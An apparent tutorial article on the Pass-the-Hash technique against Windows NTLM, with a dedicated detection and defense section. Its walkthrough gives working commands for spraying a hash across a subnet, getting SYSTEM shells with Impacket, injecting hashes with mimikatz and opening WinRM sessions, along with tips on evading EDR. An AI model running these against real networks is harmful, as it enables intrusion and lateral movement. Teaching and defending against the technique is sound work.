Pass-the-Hash: Authenticating with NTLM Hashes

Pass-the-Hash: Authenticating with NTLM Hashes - article cover image Active Directory
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Pass-the-Hash (PtH) is the lateral-movement technique that made NTLM infamous. Instead of recovering and typing a user’s cleartext password, the attacker takes the account’s NT hash — a 16-byte MD4 digest of the password — and feeds it directly into the NTLM authentication exchange. Because NTLM never verifies the plaintext password at authentication time, the hash *is* the credential. Anyone holding it can authenticate to any service that accepts NTLM, exactly as though they knew the password, without ever cracking it.

The impact is disproportionate to how simple the attack is. Windows environments have historically reused a single local Administrator password across thousands of workstations and servers, which means one dumped SAM hash can unlock an entire fleet. PtH is the classic bridge from a single compromised host to domain-wide movement, and it remains one of the most reliably useful techniques in an internal engagement precisely because it exploits a design property of the protocol rather than a patchable bug.

Attack Prerequisites

PtH is not a remote exploit — it is a credential-replay attack. You need the material and a service willing to speak NTLM:

  • An NT hash for a valid account — obtained by dumping the local SAM (reg save, secretsdump.py -sam), reading LSASS (sekurlsa::logonpasswords), pulling cached domain credentials, or extracting from ntds.dit.
  • A target service that accepts NTLM — SMB (ports 445), WMI, WinRM, MSSQL, RDP with Restricted Admin mode, or any application still using NTLM SSP.
  • Network reachability to that service, and an account that is a local or domain administrator on the target (for code execution via ADMIN$/SCM), though even a low-priv hash is useful for enumeration.
  • Reused or privileged credentials — the technique multiplies in value when the same local Administrator hash is valid across many hosts.

How It Works

An NT hash is MD4(UTF-16LE(password)). Crucially, this hash — not the password — is the input to the NTLM challenge-response handshake. When a client authenticates over NTLM, the server sends an 8-byte random challenge (the Type 2 / CHALLENGE message). The client computes a response over that challenge keyed by the NT hash: NTLMv2 builds an HMAC-MD5 using the NT hash (via the NTLMv2 one-way function) as the key, mixing in the username, domain, a client challenge, and a timestamp. The server, which stores the same NT hash, computes the expected response and compares. At no point in this exchange does the plaintext password appear.

That is the entire reason PtH works: the plaintext is only ever needed to *derive* the NT hash, and if you already possess the hash you can skip straight to computing valid responses. From the server’s perspective the authentication is indistinguishable from a legitimate login. Tools like mimikatz achieve this by creating a new Windows logon session and patching the NT hash into LSASS so that any subsequent NTLM (and Kerberos RC4) authentication from that session uses the injected material. Impacket tools implement the NTLM protocol in Python and simply supply the hash where the password would normally be keyed in.

PtH is fundamentally an NTLM property. It does not defeat Kerberos directly — when you inject a hash and then authenticate to a Kerberos-only service, the related technique is Overpass-the-Hash, where the same NT hash is used as the RC4 Kerberos key to request a TGT. Straight PtH is the NTLM path, and wherever NTLM is still permitted, it is available.

Vulnerable Configuration: What Makes It Exploitable

There is no vulnerable line of application code here — the weakness is the protocol accepting the hash as the authentication secret. The exploitable condition is created by credential reuse and by leaving NTLM enabled. The impacket credential format shows the essence: the LM half is left blank (the empty-LM sentinel) and only the NT hash is supplied, yet authentication still succeeds.

# The -hashes argument is LMHASH:NTHASH. No plaintext is ever provided.
# aad3b435b51404eeaad3b435b51404ee is the 'blank LM' sentinel.
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe \
          Administrator@10.0.0.15
# You never knew the password. The 32 hex chars ARE the credential.
Bash

The organizational bug that turns one hash into estate-wide compromise is a shared local Administrator password — for example, a gold image cloned to every workstation. The registry setting below, when present, additionally removes UAC remote-restriction so that *any* local admin (not just the built-in RID-500 account) can pass a hash for remote code execution:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    LocalAccountTokenFilterPolicy = 1   (REG_DWORD)

# With this set, non-RID-500 local admins get a full (unfiltered) token
# over the network, widening which reused hashes are directly usable
# for PsExec-style ADMIN$ code execution.
TEXT

Walkthrough / Exploitation

Start by validating the hash and mapping where it is accepted. netexec (the maintained successor to CrackMapExec) sprays a single hash across a range and marks hosts where it grants access, flagging (Pwn3d!) when the account is a local admin:

# --local-auth authenticates against the host's SAM, not the domain.
nxc smb 10.0.0.0/24 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe --local-auth

# Domain account across the same range:
nxc smb 10.0.0.0/24 -u jsmith -H 2b576acbe6bcfda7294d6bd18041b8fe -d corp.local
Bash

Where the hash grants admin, escalate to a shell. Impacket offers several execution methods; psexec.py drops a service via the SCM over ADMIN$ (loud but a SYSTEM shell), while wmiexec.py is a quieter semi-interactive option over WMI:

# SYSTEM shell via a temporary service (writes to ADMIN$, creates a service)
psexec.py -hashes :2b576acbe6bcfda7294d6bd18041b8fe Administrator@10.0.0.15

# Quieter: command execution over WMI, no service, no dropped binary
wmiexec.py -hashes :2b576acbe6bcfda7294d6bd18041b8fe Administrator@10.0.0.15
Bash

From Windows, mimikatz performs PtH in-memory by spawning a process under a new logon session with the hash injected. Any NTLM authentication that process initiates then uses the passed hash:

privilege::debug
sekurlsa::pth /user:Administrator /domain:. /ntlm:2b576acbe6bcfda7294d6bd18041b8fe /run:cmd.exe
# In the spawned cmd: `dir \\10.0.0.15\C$` now authenticates as Administrator.
TEXT

WinRM is another common target — evil-winrm takes the hash directly and returns a PowerShell session:

evil-winrm -i 10.0.0.15 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe
Bash

Note: Modern Windows no longer stores the LM hash by default, so you will almost always work with the NT half only — hence the blank-LM sentinel aad3b435b51404eeaad3b435b51404ee (or simply a leading colon) in tool arguments. Note also that the NT hash alone does not let you PtH into Kerberos-only services; for those, pivot to Overpass-the-Hash and mint a TGT with the same hash as the RC4 key.

Opsec: psexec.py is noisy: it writes a randomly named binary to ADMIN$ and registers a service, generating service-install event 7045 and file-write telemetry. wmiexec.py/smbexec.py avoid the dropped binary and are preferable where EDR is present. Every PtH still produces a network logon on the target, so it is never truly silent.

Detection and Defense

PtH leaves a distinct authentication fingerprint even though the protocol flow looks legitimate. Detection focuses on NTLM usage patterns and the specific logon types mimikatz produces; defense focuses on eliminating reusable secrets and confining privileged accounts.

  • Rotate and randomize local admin passwords with Windows LAPS so no two machines share a hash — this single control neuters fleet-wide PtH.
  • Deploy Protected Users and Credential Guard — Protected Users blocks NTLM for its members; Credential Guard isolates secrets in VBS so LSASS dumping no longer yields usable hashes.
  • Restrict lateral admin — deny network logon (SeDenyNetworkLogonRight) for local accounts, enforce tiered administration, and enable the built-in ‘Local account and member of Administrators group’ UAC restriction.
  • Hunt the events — Security 4624 logon type 3 with authentication package NTLM, 4776 (NTLM credential validation) on the DC, and mimikatz’s tell-tale 4624 type 9 (NewCredentials) with a seclogo logon process.
  • Disable NTLM where feasible via ‘Network security: Restrict NTLM’ policies, auditing NTLM traffic first (event 8004) to find dependencies.

Real-World Impact

Pass-the-Hash has been a fixture of Windows attacks for over two decades — the original technique was publicly demonstrated in the late 1990s and the release of mimikatz turned it into a commodity capability. It is a routine step in ransomware intrusions, where operators dump local hashes with mimikatz and spray them across flat networks to reach file servers and domain controllers within hours. Microsoft’s own ‘Mitigating Pass-the-Hash’ guidance and the introduction of LAPS, Credential Guard, and Protected Users were direct responses to how devastating and widespread the technique proved to be in real breaches.

Conclusion

Pass-the-Hash endures because it is not a bug to be patched but a consequence of NTLM using the NT hash as the authentication key — possess the hash and you possess the account. The durable defenses are structural: make every local admin secret unique with LAPS, keep hashes out of LSASS with Credential Guard and Protected Users, retire NTLM where you can, and watch for the network-logon and NewCredentials patterns that betray a hash in flight.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL